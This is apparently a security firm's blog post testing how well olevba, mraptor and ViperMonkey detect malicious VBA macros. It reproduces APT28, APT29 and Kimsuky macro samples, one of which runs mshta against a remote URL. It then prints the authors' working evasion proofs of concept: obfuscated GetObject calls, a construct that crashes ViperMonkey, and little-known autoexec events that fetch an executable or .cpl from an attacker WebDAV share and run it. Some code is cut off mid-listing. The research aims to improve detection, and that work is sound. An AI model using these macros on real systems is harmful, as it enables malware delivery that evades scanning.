• Introduction
  • Tests scope
  • APT macro analyses
  • Observations
  • Tests carried out:
    • Bypassing CreateObject detection
    • Crafting our easy custom undetected obfuscation
    • Killing ViperMonkey
    • Undetected code execution methods/functions
    • Undetected methods/functions to get our malicious file
    • Undetected autoexec sub events
    • Results
  • Suggestions for improvement
  • Conclusions
  • About the author


One of the most common techniques for getting a foothold on a network client is based on  Office files containing a malicious VBA macro.
VBA macros are still widely used in a business context and, despite the mitigations offered by security vendors and Microsoft, it is still essential to detect evasion techniques in order to catch smart attackers.

On the attacker's side, there is plenty of public projects to setup, weaponize and obfuscate a macro while on the defenser's side there is a reasonable number of public projects, among the most famous projects to de-obfuscate and detect malicious VBA macro there are certainly  olevbaMacroRaptor and ViperMonkey. At Certego, we also use these tools to perform automatic static analysis of VBA macro.

Today we would like to share a test carried out last week on the resilience of public logic offered by olevba, mraptor and vipermonkey. These tests were even more motivated by some autoexec sub functions identified in the wild that were not detected by our implementation of olevba.

All the tests carried out are aimed at encouraging the red teams to test new bypass techniques and improving the detection of olevba, mraptor and vipermonkey public projects.

Tests scope

  • All tests were carried out on a fully patched Windows 10 client with last build and version.
  • Macro based PoCs must work with medium integrity level.
  • The tests carried out focus on the static analysis that can be performed by mraptor and olevba; in these tests we will consider out of scope the dynamic analysis from the point of view of a sandbox, an EDR and any ASR bypass.
  • During the tests, we decided to include vipermonkey vba emulator in the scope.
  • All the tests carried out start from the assumption that the latest versions of olevba, mraptor and vmonkey have been implemented out of the box.
  • Common users are not always able to complete certain tasks keeping all ASR rules enabled, for this reason we consider disabled at least the following rules:

APT macro analyses

There are many ways to obfuscate a VBA macro, but how much do I have to obfuscate my macro to completely evade the analyses of a prepared blue team? It is important to know the weak points of a VBA obfuscation/evasion technique in order to detect it.

We started by learning from public examples of high-level attacks, then by analyzing through the tools mentioned above some noteworthy APT macro samples.

We decided to report the following three examples:

1) 2019-06-06 gorodpavlodar.doc from APT28

APT28 is one of the groups with advanced  TTPs.

VBA code:

Private Sub Document_Open()
On Error Resume Next
Dim ds As String: ds = Environ("APPDATA") & "\graphic.doc"
Dim dd As String: dd = Environ("APPDATA") & tyihkcjfghkvb.dvxdcxxv.Caption & tyihkcjfghkvb.Label1.Caption & tyihkcjfghkvb.Label2.Caption
vbnbnm dd, drgvfdhre(tyihkcjfghkvb.dxvgfchftbxfh.Value)
vbnbnm ds, drgvfdhre(tyihkcjfghkvb.Text.Value)
Set qw = CreateObject("Word.Application")
qw.Visible = True
Set ww = qw.Documents.Open(ds)
Application.Quit SaveChanges:=wdDoNotSaveChanges
End Sub
Private Function drgvfdhre(tyruyt)
  Dim fghfhggjj, asddf
  Set fghfhggjj = CreateObject("Microsoft.XMLDOM")
  Set asddf = fghfhggjj.createElement("tmp")
  asddf.dataType = "bin.base64"
  asddf.Text = tyruyt
  drgvfdhre = asddf.nodeTypedValue
End Function
Private Sub vbnbnm(tgbyh, edcrf)
  Dim qsxx
  Set qsxx = CreateObject("ADODB.Stream")
  qsxx.Type = 1
  qsxx.Write edcrf
  qsxx.SaveToFile tgbyh, 2
End Sub
VBA MACRO tyihkcjfghkvb.frm 
in file: gorodpavlodar.doc - OLE stream: u'Macros/VBA/tyihkcjfghkvb'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
(empty macro)
VBA FORM STRING IN 'gorodpavlodar.doc' - OLE stream: u'Macros/tyihkcjfghkvb/o'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
VBA FORM STRING IN 'gorodpavlodar.doc' - OLE stream: u'Macros/tyihkcjfghkvb/o'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
VBA FORM STRING IN 'gorodpavlodar.doc' - OLE stream: u'Macros/tyihkcjfghkvb/o'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 

olevba result:

|AutoExec  |Document_Open       |Runs when the Word or Publisher document is  |
|          |                    |opened                                       |
|Suspicious|CreateObject        |May create an OLE object                     |
|Suspicious|ADODB.Stream        |May create a text file                       |
|Suspicious|SaveToFile          |May create a text file                       |
|Suspicious|Environ             |May read system environment variables        |
|Suspicious|Write               |May write to a file (if combined with Open)  |
|Suspicious|Open                |May open a file                              |
|Suspicious|Hex Strings         |Hex-encoded strings were detected, may be    |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
|Hex String|'z\x938\xea'        |7A9338EA                                     |
|Hex String|'\xcc\x13\x01*w\xe4'|CC13012A77E4                                 |
|Hex String|'\x8b\x80B\xc6'     |8B8042C6                                     |
|Hex String|'*c}\x8f\xddq'      |2A637D8FDD71                                 |
|Hex String|'\xaa\xaa\xea\xa8'  |AAAAEAA8                                     |
|Hex String|'\xaa\xaa\xaa\xaa'  |AAAAAAAA                                     |
|Hex String|'\xaa\xaa\xaa\xaa\xa|AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA         |
|          |a\xaa\xaa\xaa\xaa\xa|                                             |
|          |a\xaa\xaa\xaa\xaa\xa|                                             |
|          |a\xaa\xaa\xaa'      |                                             |

2019-06-06 graphic.doc, document dropped from the previous sample and called through Word.Application COM.

VBA code:

Private Declare Function CreateProcess Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
Private Declare Sub GetStartupInfo Lib "kernel32" Alias "GetStartupInfoA" (lpStartupInfo As STARTUPINFO)
Private Const SW_SHOWNORMAL             As Long = 1
Private Sub Document_Open()
On Error Resume Next
Dim fd As String: fd = Environ("APPDATA") & "\libssl.exe"
    si.cb = Len(si)
    Dim RetVal As Long
RetVal = CreateProcess(vbNullString, _
                       fd, _
                       ByVal 0, _
                       ByVal 0, _
                       False, _
                       ByVal 0, _
                       ByVal 0, _
                       vbNullString, _
                       si, _
End Sub

olevba result:

|Type      |Keyword             |Description                                  |
|AutoExec  |Document_Open       |Runs when the Word or Publisher document is  |
|          |                    |opened                                       |
|Suspicious|Environ             |May read system environment variables        |
|Suspicious|Lib                 |May run code from a DLL                      |
|Suspicious|VBA obfuscated      |VBA string expressions were detected, may be |
|          |Strings             |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
|IOC       |libssl[.]exe          |Executable file name                         |
|VBA string|%APPDATA%\libssl[.]exe|Environ("APPDATA") & "\libssl.exe"           |

2) 2016-11-09  election-headlines-FTE2016.docm from APT29
The sample is a CDFV2 Encrypted with password 3209. password source

APT29 is one of the groups with advanced TTPs

VBA code:

VBA MACRO ThisDocument.cls 
in file: word/vbaProject.bin - OLE stream: u'VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
(empty macro)
VBA MACRO Class1.cls 
in file: word/vbaProject.bin - OLE stream: u'VBA/Class1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Dim cpeziw As Integer
Public WithEvents dgnfyvv As Word.Application
Attribute dgnfyvv.VB_VarHelpID = -1
Private Sub dgnfyvv_DocumentBeforeClose(ByVal hatxzkt As Document, kzcwwyys As Boolean)
If cpeziw > (6 - 6) Then Exit Sub
cpeziw = cpeziw + (-20 + 21)
Dim yemsa
Dim bnekl
bnekl = Array()
jkxaixhdd bnekl
yemsa = pnczyqlyg(bnekl)
Dim akhgttupb
Set akhgttupb = CreateObject("Scripting.FileSystemObject")
Dim mquxrl: Set mquxrl = CreateObject("WScript.Shell")
Dim wgmwu
On Error Resume Next
 Dim gykhijge As String
gykhijge = hwsoumwi(mquxrl, qnvhsqbdw(Array((173 - 74), 7, (24 - 2), (111 - 89), 2, (63 - 56), (-54 + 72), (98 - 91), (163 - 64), (122 - _
96), 14, (38 - 16), (79 - 53), (107 - 75), (113 - 50), (24 + 25), 46, 62, 104, (130 - 96), 42, 42), (161 - 91)))
Set wgmwu = akhgttupb.CreateTextFile(gykhijge)
If Err.Number = (7 - 7) Then GoTo byxpnqfms
xfapig (gykhijge)
Set wgmwu = akhgttupb.CreateTextFile(gykhijge)
If Err.Number = (3 - 3) Then GoTo byxpnqfms
gykhijge = hwsoumwi(mquxrl, qnvhsqbdw(Array(208, 180, (262 - 97), (85 + 80), (81 + 96), 180, (155 + 6), (173 + 7), 208, (221 - 52), ( _
126 + 21), 140, 130, (234 - 77), (188 - 47), (216 + 3), (150 - 5), (155 - 2), (53 + 100)), (170 + 75)))
Set wgmwu = akhgttupb.CreateTextFile(gykhijge)
If Err.Number = (9 - 9) Then GoTo byxpnqfms
gykhijge = hwsoumwi(mquxrl, qnvhsqbdw(Array((211 + 43), (143 - 0), 158, 150, 139, (165 + 89), (120 + 15), (210 - 21), (127 + 35), (124 _
+ 48), (146 + 33), (221 - 58), (317 - 72), (107 + 84), (234 - 51), (260 - 77)), (175 + 44)))
Set wgmwu = akhgttupb.CreateTextFile(gykhijge)
If Err.Number <> (5 - 5) Then Exit Sub
wgmwu.Write yemsa
mqcum akhgttupb, gykhijge
jumbyvq = mlkgfrlz(mquxrl, qnvhsqbdw(Array((113 + 54), 160, 187, 177, (205 - 20), (160 + 25), (156 + 74), (235 - 4), (262 - 11), (234 _
- 58), (150 + 23), 176, (152 + 93)), 213) + Chr((-4 + 38)) + gykhijge + Chr((31 + 3)) + qnvhsqbdw(Array(155, (126 + 25), (231 - 83), 133 _
), 183))
End Sub
VBA MACRO Module1.bas 
in file: word/vbaProject.bin - OLE stream: u'VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Dim cameayf As New Class1
Function bbeuoxdt()
Set lmjbbjjyv = GetObject(qnvhsqbdw(Array((170 - 92), (15 + 65), (40 + 47), 84, 94, (8 + 76), 77, (157 - 83), (30 - 27), (29 + 72), 101 _
, (1 + 22), (25 + 76), (28 + 79), (44 + 42), (139 - 53), (16 + 61), (95 + 6), (159 - 37), 112, (45 + 71), (192 - 81), (89 - 78)), (106 - 49)))
hwponld = (6 - 6)
Set xrpirnkm = lmjbbjjyv.ExecQuery(qnvhsqbdw(Array((219 + 34), 235, (163 + 63), (155 + 80), (147 + 90), (230 + 20), (147 - 5), (216 - 84 _
), (234 - 92), (291 - 59), (286 - 34), 225, 227, 142, (309 - 60), (110 + 89), (255 - 63), (165 - 8), 156, (143 + 98), (304 - 68), (156 + 75), _
 (282 - 57), (261 - 8)), 174))
For Each bnekl In xrpirnkm
rbnoksujy = LCase(bnekl.SMBIOSBIOSVersion)
If InStr(rbnoksujy, qnvhsqbdw(Array((83 - 12), 88, (39 + 28), (32 + 37), 68, (133 - 53), (50 + 43), (107 - 24), 94, 73), (32 + 17))) > _
(9 - 9) Or InStr(rbnoksujy, qnvhsqbdw(Array(27, (4 - 4), (121 - 95), (70 - 58), (59 - 28), (46 - 38)), 109)) > (7 - 7) Then
hwponld = hwponld + 5
End If
rbnoksujy = LCase(bnekl.SerialNumber)
If InStr(rbnoksujy, qnvhsqbdw(Array(152, (194 - 63), (54 + 99), (130 + 13), (144 + 12), 139), (314 - 76))) > (8 - 8) Then hwponld = hwponld _
 + (-29 + 34)
Set xrpirnkm = lmjbbjjyv.ExecQuery(qnvhsqbdw(Array((168 + 47), 193, 200, (238 - 45), 199, (184 + 24), (129 + 35), (143 + 31), (164 - _
0), (189 + 5), (201 + 13), 203, (113 + 88), (72 + 92), 211, (178 + 59), (297 - 63), (108 + 75), 182, 219, 212, (331 - 97), (187 + 25), (207 _
- 14), (334 - 100), (220 + 20), (336 - 99), (266 - 26), (203 + 50)), (48 + 84)))
For Each bnekl In xrpirnkm
If InStr(bnekl.DeviceId, qnvhsqbdw(Array((181 - 15), 181, (130 + 61), (88 + 82), 160, (99 + 80), 184, (140 + 29), (124 + 82), (298 - 100 _
), (126 + 53), (275 - 96), (154 + 54), (101 + 77), (197 - 18), (257 - 97), (134 + 35), 181, (217 - 34), (201 - 25), 179), 246)) > (6 - 6) Then _
 hwponld = hwponld + (100 - 98)
If hwponld > (43 - 38) Then GoTo ppgevuijh
obvrb = Array(qnvhsqbdw(Array(188, (262 - 76), (83 + 89), (218 - 31)), (212 - 11)), qnvhsqbdw(Array((20 + 6), (28 + 3), (-1 + 23), (-63 _
+ 81), 21), 123), qnvhsqbdw(Array((256 - 49), (203 - 1), (110 + 85), (272 - 73), 192, 199, (170 + 51), 218, (298 - 78), (110 + 97), (173 _
+ 45), (272 - 79), (225 - 5)), (254 - 80)), qnvhsqbdw(Array((176 + 24), 206, (223 - 7), (221 - 14), (117 + 23)), (113 + 76)))
Set dvbjs = lmjbbjjyv.ExecQuery(qnvhsqbdw(Array((134 + 61), 245, (200 + 52), (242 + 3), (243 - 0), (286 - 58), (226 - 50), (162 + 24), _
(110 + 66), 246, (259 - 33), (347 - 92), 253, (268 - 92), 199, 249, (264 - 10), (68 + 95), (122 + 40), (118 + 89), (225 - 14), (327 - 72), (243 _
+ 10), (148 + 76), (159 + 70), (146 + 82), (226 + 19), 226, 195, (313 - 80), (134 + 93), 228, 245, (236 + 17)), (228 - 84)))
Function hwsoumwi(hhcwpimxz, bsgwg)
hwsoumwi = hhcwpimxz.ExpandEnvironmentStrings(bsgwg)
End Function
Function mlkgfrlz(hhcwpimxz, bsgwg)
mlkgfrlz = hhcwpimxz.Exec(bsgwg)
End Function
Sub mqcum(akhgttupb, hlrcv)
Dim lrbhlz As Integer
trcyseku = 624100
bmujpcxp = (8280 - 88)
lrbhlz = (39 - 27)
hsgqw = hlrcv
Close lrbhlz
Open ActiveDocument.FullName For Binary Access Read As lrbhlz
efoldymy = oiwvfvbtm(lrbhlz)
If efoldymy < (-61 + 62) Then Exit Sub
sorgd = qnvhsqbdw(Array((279 - 36), (174 + 12), (238 - 68), (107 + 54), (228 - 56), (200 - 36), (201 - 33), (164 + 22)), (125 + 76))
If Mid(sorgd, (23 - 22), (-68 + 69)) <> qnvhsqbdw(Array(71), (220 - 95)) Then
tqftb = InStrRev(hlrcv, qnvhsqbdw(Array((-8 + 78)), 26))
hsgqw = Mid(hlrcv, (15 - 14), tqftb)
End If
hsgqw = hsgqw & sorgd
Dim tvpgfk As String
tvpgfk = Space(bmujpcxp)
Seek lrbhlz, efoldymy
Set rpcinodml = akhgttupb.CreateTextFile(hsgqw)
Do While trcyseku > (8 - 8)
If bmujpcxp > trcyseku Then tvpgfk = Space(trcyseku)
Get lrbhlz, , tvpgfk
rpcinodml.Write tvpgfk
trcyseku = trcyseku - bmujpcxp
Close lrbhlz
End Sub
Sub AutoOpen()
End Sub
Public Function qnvhsqbdw(fdcacal As Variant, hssufj As Integer)
Dim rbnoksujy, uijtvyc
rbnoksujy = ""
uijtvyc = (7 - 7)
While uijtvyc < UBound(fdcacal) + 1
dqssgod = fdcacal(uijtvyc) Xor hssufj
rbnoksujy = rbnoksujy + Chr(dqssgod)
uijtvyc = uijtvyc + 1
qnvhsqbdw = rbnoksujy
End Function

olevba result:

|Type      |Keyword             |Description                                  |
|AutoExec  |AutoOpen            |Runs when the Word document is opened        |
|Suspicious|Exec                |May run an executable file or a system       |
|          |                    |command using Excel 4 Macros (XLM/XLF)       |
|Suspicious|CreateObject        |May create an OLE object                     |
|Suspicious|CreateTextFile      |May create a text file                       |
|Suspicious|Shell               |May run an executable file or a system       |
|          |                    |command                                      |
|Suspicious|WScript.Shell       |May run an executable file or a system       |
|          |                    |command                                      |
|Suspicious|Write               |May write to a file (if combined with Open)  |
|Suspicious|Open                |May open a file                              |
|Suspicious|MkDir               |May create a directory                       |
|Suspicious|Chr                 |May attempt to obfuscate specific strings    |
|          |                    |(use option --deobf to deobfuscate)          |
|Suspicious|Xor                 |May attempt to obfuscate specific strings    |
|          |                    |(use option --deobf to deobfuscate)          |
|Suspicious|Binary              |May read or write a binary file (if combined |
|          |                    |with Open)                                   |
|Suspicious|Hex Strings         |Hex-encoded strings were detected, may be    |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
|Hex String|'\xfc\xfb=*'        |FCFB3D2A                                     |
|Hex String|'\x08\x00+3q\xb5'   |08002B3371B5                                 |

3) 2020-03-03  비건미국무부부장관서신20200302.doc from Kimsuky APT

One of the more recent APT macro.

VBA code:

VBA MACRO ThisDocument.cls 
in file: word/vbaProject.bin - OLE stream: u'VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
(empty macro)
VBA MACRO NewMacros.bas 
in file: word/vbaProject.bin - OLE stream: u'VBA/NewMacros'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Const vouxaweiky = 0
Private Function ibgcqjqcesdb(ByVal nszemdxvjgig As String) As String
Dim crvueaktrvsw As Long
For crvueaktrvsw = 1 To Len(nszemdxvjgig) Step 2
ibgcqjqcesdb = ibgcqjqcesdb & Chr$(Val("&H" & Mid$(nszemdxvjgig, crvueaktrvsw, 2)))
Next crvueaktrvsw
End Function
Sub bgdrkwewidjuilxpmyaz(hhacncliysnlfvsph As String)
With CreateObject(ibgcqjqcesdb("57536372697074") & ibgcqjqcesdb("2e5368656c6c"))
.Exec (hhacncliysnlfvsph)
End With
End Sub
Sub AutoOpen()
With ActiveDocument.Background.Fill
.ForeColor.RGB = RGB(255, 255, 255)
.Visible = msoTrue
End With
Content = ibgcqjqcesdb("6d7368746120687474703a2f2f6e68707572756d792e6d697265656e652e636f6d2f7468656d652f62617369632f736b696e") & ibgcqjqcesdb("2f6d656d6265722f62617369632f75706c6f61642f7365617263682e687461202f66")
Selection.Font.Hidden = False
bgdrkwewidjuilxpmyaz (Content)
End Sub

olevba result:

|Type      |Keyword             |Description                                  |
|AutoExec  |AutoOpen            |Runs when the Word document is opened        |
|Suspicious|Exec                |May run an executable file or a system       |
|          |                    |command using Excel 4 Macros (XLM/XLF)       |
|Suspicious|CreateObject        |May create an OLE object                     |
|Suspicious|Chr                 |May attempt to obfuscate specific strings    |
|          |                    |(use option --deobf to deobfuscate)          |
|Suspicious|Shell               |May run an executable file or a system       |
|          |                    |command (obfuscation: Hex)                   |
|Suspicious|Hex Strings         |Hex-encoded strings were detected, may be    |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
|IOC       |http://nhpurumy[.]mire|URL (obfuscation: Hex)                       |
|          ||                                             |
|          |skin                |                                             |
|IOC       |search.hta          |Executable file name (obfuscation: Hex)      |
|Hex String|WScript             |57536372697074                               |
|Hex String|.Shell              |2e5368656c6c                                 |
|Hex String|mshta <a href="http://nhpurum|6d7368746120687474703a2f2f6e68707572756d792e6|">http://nhpurum|6d7368746120687474703a2f2f6e687075...</a>
|          |y.mireene[.]com/theme/|d697265656e652e636f6d2f7468656d652f6261736963|
|          |basic/skin          |2f736b696e                                   |
|Hex String|/member/basic/upload|2f6d656d6265722f62617369632f75706c6f61642f736|
|          |/search.hta /f      |5617263682e687461202f66                      |


We have observed that:

  • Some useful functions to obfuscate our macro are used to detect it. Ex: Evilclippy tricks like VBA stomping/pcode obfuscation are currently detected by olevba.
  • There is no known way to obfuscate Sub Events, like AutoExec.
  • There is no known way to obfuscate functions and methods.
  • There are many examples of APT macros that prefer to leave the macro in plain text rather than obfuscate it through a well known technique or suspicious functions.
  • Spotting Win32 Windows API through the Lib Declare Statement is trivial and in some contexts blue teams are beginning to block them through ASR.
  • We also identified the following technical details related to the detection of the examined tools :
    • Obfuscation performed through the Mid and the Array functions is not detected by the examined tools. There are plenty of ways to obfuscate the code and it does not seem worth detecting them all through a static approach.
    • ExecQuery and other dangerous WMI methods to perform code execution like Create are not detected by the examined tools.
    • ExpandEnvironmentStrings method of WScript.Shell Object is an Environ alternative to retrieve environment variables which not trigger by the examined tools:

      Dim mquxrl: Set objShell = CreateObject("WScript.Shell")    a = objShell.ExpandEnvironmentStrings("%TEMP%")
      MsgBox a
      Other undetected alternatives could be:
  • In the common implementations of these tools some hits are systematically discarded to avoid false positives. Hex string detection in olevba is an example.

    However, in well-managed infrastructures, it is possible to research some mandatory subroutines, methods and functions to systematically detect macros through a static approach, and to engaging an analyst.

Tests carried out

Starting from these osservations we have tried to build at least one PoC that performs 0 hits on olevba and a "macro ok" result in mraptor.

These are three minimum requirements for getting a foothold through a VBA macro:

  1. An Autoexec Sub Event to trigger our macro.
  2. A code execution method/function
  3. Except for some trivial cases, you will normally need at least a COM/OLE/ActiveX Object, so you need to call at least one function like CreateObject.

Bypassing CreateObject detection

Even if performing alerting only on CreateObject is pretty impossible due to FP, it is possible to avoid this hit in some scenarios through  GetObject.

At the time of writing, GetObject is not reported as a suspicious function by olevba.

GetObject is used to attach to a running instance of an automation server.

Some automation servers have a running instance by default. Using one of these objects, it is possible to use GetObject, avoiding the call to CreateObject at all. See: differences between GetObject and CreateObject.

For these tests we decided to start with one of the most common objects with a default instance: Shell.Application.

Crafting our easy custom undetected obfuscation

After a first look we decided to use the  CLSID avoid Shell.Application pattern match detection. 

Here is how to easily get Shell.Application CLSID through powershell:

Get-ChildItem REGISTRY::HKEY_CLASSES_ROOT\CLSID -Include PROGID -Recurse | where {$_.GetValue("") -match "Shell\.Application" }

So instead of:


We used:


However the string was detected in a heuristic way by exchanging the CLSID with a hex string.

As mentioned above, it is a olevba hit that makes tons of FPs like this. 

Despite this fact, we still tried to obfuscate this string creating our own obfuscation technique. It would also come in handy later to obfuscate our exploit.

After some research we discovered that adding chunks of strings to a variable containing an empty string prevents olevba from detecting and deobfuscating the string:

lw = ""
Set No = GetObject("new:{1370" & lw & "962" & lw & "0-C27" & lw & "9-11C" & lw & "E-A4" & lw & "9E-4445" & lw & "5354" & lw & "0000}")

Note: without using a variable olevba detects the technique.

Killing ViperMonkey

After a quick test, we realized that  ViperMonkey is able to decode our obfuscation method.

ViperMonkey is a VBA Emulation engine written in Python, designed to analyze and deobfuscate malicious VBA Macros contained in Microsoft Office files (Word, Excel, PowerPoint, Publisher, etc).

Despite being a big project, ViperMonkey is a experimental emulator, developers who integrate it into their platform are used to handling considerable number of crashes with legitimate macros, ergo seeing a ViperMonkey crash is not suspicious at all.

To crash vmonkey you need to find some VBA code accepted by our office program that crashes the vmonkey parser.

After some fuzzing we have identified the following simple code:

Function Something()
End Function
If 1 <> 1 Then
    Function VMonkeyBoom(1 as Integer)
    End Function
End If
Private Sub Document_Open()
    lw = ""
    msgbox "No" & lw & "Vipe" & lw & "rMonke" & lw & "y here"
End Sub

A declaration of a function with at least one argument inside an if statement will do the job. Microsoft Word will successfully run the macro:

The vmonkey parser will fail:

Undetected code execution methods/functions

We started  digging into the documentation looking for unknown execution methods of Shell.Application Object

This is the section in the olevba code where the suspicious methods/functions list is defined by regex or keyword.

We have identified three interesting examples:

  1. InvokeVerb and InvokeVerbEx: dropping an executable and calling the verb "Open" it is possible to run it. As soon as I spotted these methods I tweeted them.
  2. DoIt: slightly more tricky but same concept of invokeverb.
  3. ControlPanelItem: by dropping a malicious .cpl into the current directory, it is possible to execute malicious code

While we were looking for undetected methods to perform code excecution, we have observed that, surprisingly, the   Create method of Win32_Process, retrievable only through GetObject, is not yet detected by olevba.

However, we decided to avoid it because it has been used in  many opportunistic campaigns and some custom implementations, such as ours, easily detect it.

All other interesting methods of WMI code execution, which are not detected by the analyzed tools, require a  high integrity level, which is out of scope.

Undetected methods/functions to get our malicious file

Since we have identified three methods to launch an executable without arguments, we need a function to get our malicious executables.

In order not to leave our executable embedded in the document we decided to download our sample remotely through an  UNC path

To achieve this task we decided to exploit  SMB redirector or WebDAV redirector, this is because it is not possible to map a UNC resource on a unit or link it with a medium integrity level.

Allowing outbound SMB traffic is a bad practice, so we decided to take advantage of  Webdav over SSL (HTTPS).

So we decided to exploit the  CopyHere Shell.Application method to download our executables via WebDav SSL.

During the tests we also found that:

We decided to avoid FileSystemObject because it didn't work through GetObject, even if it is not enough to detect our samples it was interestingly keeping us on the 0 hits..

Undetected autoexec sub events

This is the section in the olevba code where the autoexec list is defined by regex or keyword

Hunting for undetected autoexec sub event:

Docs/Office/VBA/Reference/<program>/Object model/<object>/Events/<eventname>

We have identified three interesting examples:

  1. Document_ContentControlOnEnter:  it triggers when a user "enters" a content control, there are several content controls that can easily attract a user click.
  2. Worksheet_FollowHyperlink: it triggers when a user clicks on a link inside a worksheet, the link can also point to a worksheet component.
  3. Worksheet_Calculate: "Occurs after the worksheet is recalculated for the Worksheet object", this autoexec sub event is the most interesting we have envied: by using a cell with a formula that points to itself, it is possible to perform an autoexec without user interaction. As shown in the gif of the next section a prompt is shown to the user but, whatever the answer is, the macro is still executed.


The outputs shown below are those of the following command:

 olevba --decode --reveal <doc> # 0.56dev6 on Python 2.7.17


No suspicious keyword or IOC found.
Function Something()
End Function
If 1 <> 1 Then
    Function VMonkeyBoom(1 as Integer)
    End Function
End If
Private Sub Document_ContentControlOnEnter(ByVal ContentControl As ContentControl)
    lw = ""
    Set No = GetObject("new:{1370" & lw & "962" & lw & "0-C27" & lw & "9-11C" & lw & "E-A4" & lw & "9E-4445" & lw & "5354" & lw & "0000}")
    Set oF = No.NameSpace("C:\windo" & lw & "ws\te" & lw & "mp")
    If Not oF Is Nothing Then
        oF.CopyHere ("\\theatta" & lw & "" & lw & "SL\webd" & lw & "av_s\jtms.cp" & lw & "l")
    End If
    No.ControlPanelItem ("C:\\Windo" & lw & "ws\\Te" & lw & "mp\jtms.cp" & lw & "l")
End Sub


|Type      |Keyword             |Description                                  |
|Suspicious|Hex Strings         |Hex-encoded strings were detected, may be    |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
|Hex String|'\x00\x02\x08 '     |00020820                                     |
|Hex String|'\x00\x00\x00\x00\x0|000000000046                                 |
|          |0F'                 |                                             |
|Hex String|'\x00\x02\x08\x19'  |00020819                                     |
Function Something()
End Function
If 1 <> 1 Then
    Function VMonkeyBoom(1 as Integer)
    End Function
End If
Private Sub Worksheet_FollowHyperlink(ByVal Target As Hyperlink)
    lw = ""
    Set No = GetObject("new:{1370" & lw & "962" & lw & "0-C27" & lw & "9-11C" & lw & "E-A4" & lw & "9E-4445" & lw & "5354" & lw & "0000}")
    Set oF = No.Namespace("C:\windo" & lw & "ws\te" & lw & "mp")
    If Not oF Is Nothing Then
        oF.CopyHere ("\\theatta" & lw & "" & lw & "SL\webd" & lw & "av_s\ddd.ex" & lw & "e")
    End If
    Set NoF = No.Namespace("C:\Wind" & lw & "ows\te" & lw & "mp")
    Set Nof2 = NoF.Self.Verbs
    Set Item = NoF.ParseName("ddd.ex" & lw & "e")
    Item.InvokeVerbEx ("op" & lw & "en")
End Sub
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

In this case the VB_Base attribute triggers olevba, olevba exchanges the GUID for a Hex String. This is a known and usually filtered false positive. For this reason we can safely consider this sample as one with 0 hits.


|Type      |Keyword             |Description                                  |
|Suspicious|Hex Strings         |Hex-encoded strings were detected, may be    |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
|Hex String|'\x00\x02\x08 '     |00020820                                     |
|Hex String|'\x00\x00\x00\x00\x0|000000000046                                 |
|          |0F'                 |                                             |
|Hex String|'\x00\x02\x08\x19'  |00020819                                     |
Function Something()
End Function
If 1 <> 1 Then
    Function VMonkeyBoom(1 as Integer)
    End Function
End If
Private Sub Worksheet_Calculate()
    lw = ""
    Set No = GetObject("new:{1370" & lw & "962" & lw & "0-C27" & lw & "9-11C" & lw & "E-A4" & lw & "9E-4445" & lw & "5354" & lw & "0000}")
    Set oF = No.Namespace("C:\windo" & lw & "ws\te" & lw & "mp")
    If Not oF Is Nothing Then
        oF.CopyHere ("\\theatta" & lw & "" & lw & "SL\webd" & lw & "av_s\ccc.ex" & lw & "e")
    End If
    Set PF = No.Namespace("C:\Windo" & lw & "ws\Te" & lw & "mp")
    Set TT = PF.ParseName("ccc.e" & lw & "xe")
    For Each Verb In TT.Verbs
           If "&Op" & lw & "en" = Verb.Name Then
           End If
End Sub
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Also here as in the previous sample the hit is due to the VB_Base attribute.


For these tests only static analysis is significant, however these are the samples:




As you can see there are few known antivirus and only heuristic signatures.

Suggestions for improvement

In order to detect the techniques proposed through olevba / mraptor, it would be important to note the following:

The previous list was proposed on the public project through the following pull request:


  • We have shown that digging in the documentation and with a little fuzzing it is possible to craft a 0 hit macro.
  • Chaining these samples with an unknown sandbox detection check and esoteric COM objects could have really unpleasant effects.
  • Implementing an open-source out-of-the-box solution may not be enough to defend your infrastructure.
  • It is very important to carry out periodic internal tests on all the detection components of your platform.
  • Performing periodic internal tests on all the detection components of the platform could significantly increase the detection capacity of your platform.

About the author

Gabriele Pippi, Threat Research Lead Engineer ( Twitter)

                                                                                                                  Photo by Jr Korpa on Unsplash

Intel Owl is an Open Source Intelligence, or OSINT solution to get threat intelligence data about a specific file, an IP or a domain from a single API at scale. It integrates a number of analyzers available online and is for everyone who needs a single point to query for info about a specific file or observable.

Born at the start of 2020 (announcement), this fresh and new tool was accepted as part of the Google Summer of Code under the hat of The Honeynet Project. Great improvements have been developed since the start of this project.

